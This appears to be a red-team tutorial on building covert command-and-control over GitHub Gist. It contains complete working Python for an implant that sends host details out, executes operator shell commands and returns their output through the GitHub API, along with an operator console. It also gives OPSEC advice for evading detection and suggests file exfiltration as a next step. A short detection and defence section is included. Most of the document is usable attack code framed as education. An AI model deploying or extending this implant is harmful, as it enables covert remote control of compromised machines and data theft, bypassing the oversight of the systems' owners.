Why GitHub Gist?
The best C2 infrastructure is the infrastructure nobody blocks. Corporate firewalls almost universally allow HTTPS to api.github.com — it's a developer necessity. Traffic to GitHub looks like a developer pushing code, not a malicious implant phoning home. No custom domains. No suspicious IPs. No SSL certificate anomalies. Everything is valid GitHub infrastructure.
This falls under the Living-off-the-Cloud category of MITRE ATT&CK — using legitimate cloud services (T1102) as C2 channels to blend into normal business traffic. The same principle works with Dropbox, Pastebin, Notion, and many others — GitHub Gist is particularly elegant because it's API-accessible, version-controlled, and free.
Research context: This was built as an educational demonstration of the Living-off-the-Cloud C2 concept for red team training. Use only in authorized environments. GitHub's ToS prohibits using Gists for malicious purposes.
Architecture
The entire communication channel is a single GitHub Gist. The implant and operator both have access to the same Gist via a PAT (Personal Access Token). The Gist contains one file that serves as the shared message board:
- Operator writes a command to the Gist file
- Implant polls the Gist every N seconds, detects the new command, executes it
- Implant writes output back to the Gist with an
OUTPUT:prefix - Operator reads the output and sends the next command
Operator ──PATCH──→ GitHub Gist API ←──GET── Implant
←──GET── ──PATCH─→
↕
Gist File Content:
[BEACON] hostname|user|Windows 11|PID 1234
whoami ← operator command
OUTPUT: ← implant response
corp\administrator
Implant Design
The implant (implant.py) is a Python script that runs on the compromised host. On startup, it beacons its presence. Then it enters a polling loop, checking the Gist every 10 seconds for new commands.
import requests, subprocess, platform, os, socket, time
GIST_ID = "YOUR_GIST_ID"
PAT = "YOUR_GITHUB_PAT"
HEADERS = {"Authorization": f"token {PAT}", "Accept": "application/vnd.github.v3+json"}
POLL_S = 10 # poll interval in seconds
def gist_read():
r = requests.get(f"https://api.github.com/gists/{GIST_ID}", headers=HEADERS, timeout=15)
files = r.json().get("files", {})
return next(iter(files.values()), {}).get("content", "")
def gist_write(content):
filename = next(iter(requests.get(
f"https://api.github.com/gists/{GIST_ID}", headers=HEADERS).json()["files"]))
requests.patch(f"https://api.github.com/gists/{GIST_ID}",
headers=HEADERS, json={"files": {filename: {"content": content}}})
def beacon():
info = f"[BEACON] {socket.gethostname()}|{os.getlogin()}|{platform.version()}|PID {os.getpid()}"
gist_write(info)
def main():
beacon()
last_cmd = ""
while True:
content = gist_read()
# Skip our own output and beacon lines
if not content.startswith("[BEACON]") and not content.startswith("OUTPUT:") and content != last_cmd:
last_cmd = content
try:
out = subprocess.check_output(content, shell=True, stderr=subprocess.STDOUT,
timeout=30).decode(errors="replace")
except Exception as e:
out = str(e)
gist_write(f"OUTPUT:\n{out[:4000]}") # GitHub Gist file size limit
time.sleep(POLL_S)
if __name__ == "__main__":
main()
Operator Console
The operator side (operator.py) is an interactive console. The operator types commands, which are written to the Gist. The console then polls for an OUTPUT: response with a configurable timeout.
def send_command(cmd, timeout=60):
gist_write(cmd)
print(f"[*] Sent: {cmd}")
start = time.time()
while time.time() - start < timeout:
content = gist_read()
if content.startswith("OUTPUT:"):
print("\n[OUTPUT]")
print(content[7:].strip())
return
time.sleep(3)
print("[!] Timeout — no response")
def main():
print("[+] 0xsr GitHubC2 operator console")
print("[+] Commands: read (show Gist) | beacon | clear | help | exit | <shell command>")
while True:
cmd = input("\n(c2)> ").strip()
if cmd == "exit": break
if cmd == "read": print(gist_read()); continue
if cmd == "beacon": print(gist_read()); continue
if cmd == "clear": gist_write(""); continue
if cmd: send_command(cmd)
Communication Protocol Details
The protocol is intentionally simple — no encryption beyond HTTPS (the GitHub API uses TLS). In a real engagement you'd add a layer of AES encryption with a pre-shared key so the Gist content is opaque even to GitHub. The prefix convention:
[BEACON] ...— implant beacon, ignored by operatorOUTPUT:\n...— implant response, ignored as command by implant- Anything else — treated as a shell command by the implant
The implant tracks last_cmd to avoid re-executing commands it already ran. The operator clears the Gist between commands to reset state.
OPSEC Considerations
Several OPSEC improvements for a real engagement:
- Dedicated throwaway GitHub account: never use your real account. Create a fresh account for each engagement.
- Minimum-scope PAT: Gist scope only. If the token is burned, the attacker can only access Gists — not repositories or organization data.
- Payload encryption: XOR or AES-GCM encrypt commands and output with a pre-shared key. The Gist content appears as base64 garbage to anyone monitoring it.
- Jitter on poll interval: Add ±30% random jitter to the 10-second poll interval to defeat beacon interval detection.
- Private Gist: Use a private (not public/secret) Gist — only accessible with authentication.
- Rotate Gists: For long engagements, rotate to a fresh Gist weekly. The old Gist is the only forensic artifact left after you delete it.
- TLS certificate:
api.github.comserves a valid GitHub certificate — no SSL inspection alert.
Engagement note: This architecture generates exactly zero indicators on the host beyond outbound HTTPS to api.github.com. The traffic pattern — periodic small GET/PATCH requests to a well-known domain — is indistinguishable from IDE plugins, GitHub Actions checks, or Dependabot polling.
Detection Signals
Despite the stealth, defenders can detect this with the right visibility:
- Periodic HTTPS to api.github.com from non-developer machines: If a server or workstation with no development tools is making API calls to github.com every 10 seconds, that's anomalous.
- GitHub API calls from processes that shouldn't: If
cmd.exe,powershell.exe, or Python scripts are making authenticated GitHub API calls, proxy logs will show theAuthorization: token ghp_...header. - Beacon interval regularity: Even with jitter, machine-generated polling has statistical regularity detectable with ML-based beacon detection (C2 beacon detection tools like Rita or Zeek).
- User-Agent string: Python's
requestslibrary usespython-requests/2.x.xas User-Agent — unusual for a business workstation accessing GitHub. - Gist content pattern: If your DLP or proxy is doing content inspection on HTTPS responses (requires SSL interception), you'd see the
[BEACON]/OUTPUT:patterns.
Defense: Block api.github.com at the proxy for all machines that don't require it for legitimate development work. Alert on Python processes making outbound HTTPS requests on hosts without a Python development use case. Deploy SSL inspection to enable content-based detection.
Where to Take This Further
The Gist C2 is a proof-of-concept. Production-grade Living-off-the-Cloud C2 improvements:
- Multiple Gists as channels: Separate Gists for tasking and output; use Gist IDs as ephemeral channel rotations
- Binary-safe encoding: Base64 + AES-GCM for all content; use a Gist file per channel with random filename
- File exfiltration: PATCH a Gist file with base64-encoded file chunks; operator reassembles
- GitHub Actions as trigger: Instead of polling, use GitHub Actions webhook events to trigger the implant — zero polling traffic
- Compiled implant: Rewrite in Go or Rust with the GitHub client library compiled in — no Python runtime required, smaller footprint